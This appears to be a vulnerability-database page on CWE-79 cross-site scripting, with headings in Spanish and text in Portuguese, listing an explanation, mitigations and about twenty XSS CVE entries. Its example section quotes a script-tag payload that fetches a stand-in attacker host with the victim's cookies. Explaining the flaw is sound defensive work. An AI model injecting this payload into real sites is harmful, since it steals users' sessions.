Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-51627MEDIUMWordPress Audio Comparison Lite plugin <= 3.4 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2019-25378MEDIUMSmoothwall Express 3.1 'proxy.cgi' Cross-Site ScriptingEPSS 0.3%CVE-2025-30434MEDIUMThe issue was addressed with improved input sanitization. This issue is fixed in iOS 18.4 and iPadOS 18.4. Processing a maliciously crafted EPSS 0.3%CVE-2024-37349MEDIUMCross-site scripting vulnerability in the Absolute Secure Access administrative console prior to 13.06EPSS 0.3%CVE-2024-37352MEDIUMCross-site scripting vulnerability in the Absolute Secure Access administrative console prior to 13.06EPSS 0.3%CVE-2024-57329MEDIUMHortusFox v3.9 contains a stored XSS vulnerability in the "Add Plant" function. The name input field does not sanitize or escape user inputsEPSS 0.3%CVE-2026-107889MEDIUMKeycloak-services: keycloak-services: stored xss on login page via kcsanitize bypassEPSS 0.3%CVE-2024-37347MEDIUMCross-site scripting vulnerability in the Absolute Secure Access administrative console prior to 13.06EPSS 0.3%CVE-2024-27186MEDIUM[20240803] - Core - XSS in HTML Mail TemplatesEPSS 0.3%CVE-2024-49280MEDIUMWordPress Lightbox slider -- Responsive Lightbox Gallery plugin <= 1.10.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-1236MEDIUMEnvira Gallery for WordPress <= 1.12.3 - Authenticated (Author+) Stored Cross-Site Scripting via 'justified_gallery_theme' Parameter via REST APIEPSS 0.3%CVE-2024-35146MEDIUMIBM Maximo Application Suite cross-site scriptingEPSS 0.3%CVE-2025-15416MEDIUMxnx3 wangmarket Add Global Variable save.do cross site scriptingEPSS 0.3%CVE-2024-40873MEDIUMXSS in Secure Access administrative consoleEPSS 0.3%CVE-2025-6430MEDIUMContent-Disposition header ignored when a file is included in an embed or object tagEPSS 0.3%CVE-2025-62184MEDIUMPega Platform versions 8.1.0 through 25.1.0 are affected by a Stored Cross-site Scripting vulnerability in a user interface component.EPSS 0.3%CVE-2024-10847MEDIUMStorely <= 18 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-33209MEDIUMAvo has a XSS vulnerability on `return_to` paramEPSS 0.3%CVE-2025-61638NONESanitizer::validateAttributes data-XSSEPSS 0.3%CVE-2024-35362MEDIUMEcshop 3.6 is vulnerable to Cross Site Scripting (XSS) via ecshop/article_cat.php.EPSS 0.3%